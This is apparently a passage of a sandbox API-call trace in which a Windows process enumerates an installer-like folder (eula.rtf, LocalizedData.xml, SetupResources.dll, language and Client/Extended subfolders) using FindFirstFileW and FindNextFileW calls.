	[0070.374] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.374] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.375] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.375] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.375] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.375] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0070.375] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.375] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0070.375] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.375] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31211d0
	[0070.375] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.375] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.375] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.376] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.376] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.376] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0070.376] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.376] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0070.376] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.376] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31213d0
	[0070.376] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.376] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.376] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.376] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.377] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.377] FindClose (in: hFindFile=0x31213d0 | out: hFindFile=0x31213d0) returned 1
	[0070.377] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.377] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0070.377] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.377] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121590
	[0070.377] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.378] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.378] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.378] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.378] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.378] FindClose (in: hFindFile=0x3121590 | out: hFindFile=0x3121590) returned 1
	[0070.378] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.378] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0070.378] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.378] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31215d0
	[0070.379] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.379] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0070.379] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0070.379] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0070.379] FindClose (in: hFindFile=0x31215d0 | out: hFindFile=0x31215d0) returned 1
	[0070.379] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.379] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0070.380] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0070.380] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0070.380] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.380] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31213d0
	[0070.380] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.380] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0070.380] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0070.380] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0070.380] FindClose (in: hFindFile=0x31213d0 | out: hFindFile=0x31213d0) returned 1
	[0070.381] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.381] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0070.381] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.381] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31213d0
	[0070.744] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
